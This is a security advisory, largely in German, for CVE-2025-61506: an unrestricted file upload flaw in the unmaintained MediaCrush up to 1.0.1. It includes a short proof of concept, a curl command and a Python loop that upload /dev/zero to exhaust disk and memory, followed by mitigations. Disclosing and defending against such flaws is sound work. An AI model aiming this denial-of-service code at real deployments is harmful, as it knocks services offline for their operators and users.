
Unrestricted File Upload DoS Vulnerability discovered in MediaCrush thru 1.0.1(CVE-2025-61506)
In MediaCrush bis einschließlich 1.0.1 wurde eine Schwachstelle entdeckt, die es entfernten, nicht authentifizierten Angreifern ermöglicht, beliebige Dateien beliebiger Größe an den /upload-Endpunkt hochzuladen. Schwachstelle: Unrestricted File Upload (CWE-434) CVE-ID: CVE-2025-61506 ENTDECKT: 18. September ZUGEWIESEN: 9. Oktober Betroffene Komponente: mediacrush/upload.py, app.py (Flask-Upload-Endpunkt) Betroffene Versionen: Alle Versionen (letzter Commit 8f4b2a3f, etwa 2014) Auswirkung: Denial of Service (DoS) Schweregrad: CVSS 5,3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Der /upload-Endpunkt von MediaCrush (mediacrush/upload.py) erlaubt nicht authentifizierten Angreifern das Hochladen beliebig großer Dateien ohne Größenbeschränkungen, MIME-Typ-Validierung oder Ratenbegrenzung. Dies führt zu einem Denial of Service durch Erschöpfung des Datenträgerspeichers (Standard ./storage), Überlastung von Redis und Celery-Arbeitern sowie zum Absturz der Anwendung. Die Schwachstelle betrifft alle MediaCrush-Instanzen (lokal oder im Netzwerk bereitgestellt) aufgrund fehlender Eingabevalidierung im Flask-basierten Upload-Handler. Da das Projekt nicht mehr gewartet wird (letztes Update 2014), existiert kein Fix.
Richten Sie eine lokale MediaCrush-Instanz ein (gemäß README: Python 2.7, Flask 0.10.1, Redis, Celery).
Starten Sie die App (python app.py) und den Celery-Worker (celery worker -A mediacrush -Q celery,priority).
Führen Sie Folgendes aus, um eine große Datei hochzuladen:
curl -F "file=@/dev/zero" http://localhost:5000/upload
Oder verwenden Sie ein Python-Skript für mehrere Uploads:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
Ergebnis: Der Datenträgerspeicher (z. B. /tmp/storage) füllt sich, Celery-Arbeiter stürzen aufgrund von OOM ab, und neue Uploads schlagen fehl (HTTP 500/413). Die Redis-Speichernutzung steigt sprunghaft an.
Denial of Service: Füllt den Datenträger, stürzt die App ab, verhindert neue Uploads oder die Auslieferung von Medien.
Speichermissbrauch: Angreifer können MediaCrush als kostenlosen unbegrenzten Speicher für bösartige Dateien (z. B. urheberrechtlich geschütztes Material) missbrauchen.
Cloud-Kosten: Wenn der Speicherordner in der Cloud liegt (z. B. AWS S3), entstehen erhebliche Kosten.
Betrifft jede selbst gehostete MediaCrush-Bereitstellung bis Version 1.0.1.
Erzwingen Sie serverseitige Upload-Größenbeschränkungen mithilfe der Flask-Konfiguration MAX_CONTENT_LENGTH und der Webserver-Direktiven (z. B. nginx client_max_body_size). Implementieren Sie eine ordnungsgemäße Dateivalidierung und Ratenbegrenzung, um eine Ressourcenerschöpfung zu verhindern.
Da das Projekt nicht mehr gewartet wird, sollten Benutzer es forken und patchen oder von einer Bereitstellung absehen.
MediaCrush-Repository: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
Entdeckt während eines Bug-Bounty-Audits von Open-Source-Projekten.
Für MediaCrush wurden keine früheren CVEs gefunden (NVD, GitHub-Advisories durchsucht).
Projekt nicht mehr gewartet; keine Antwort des Anbieters zu erwarten ([email protected], IRC #mediacrush inaktiv).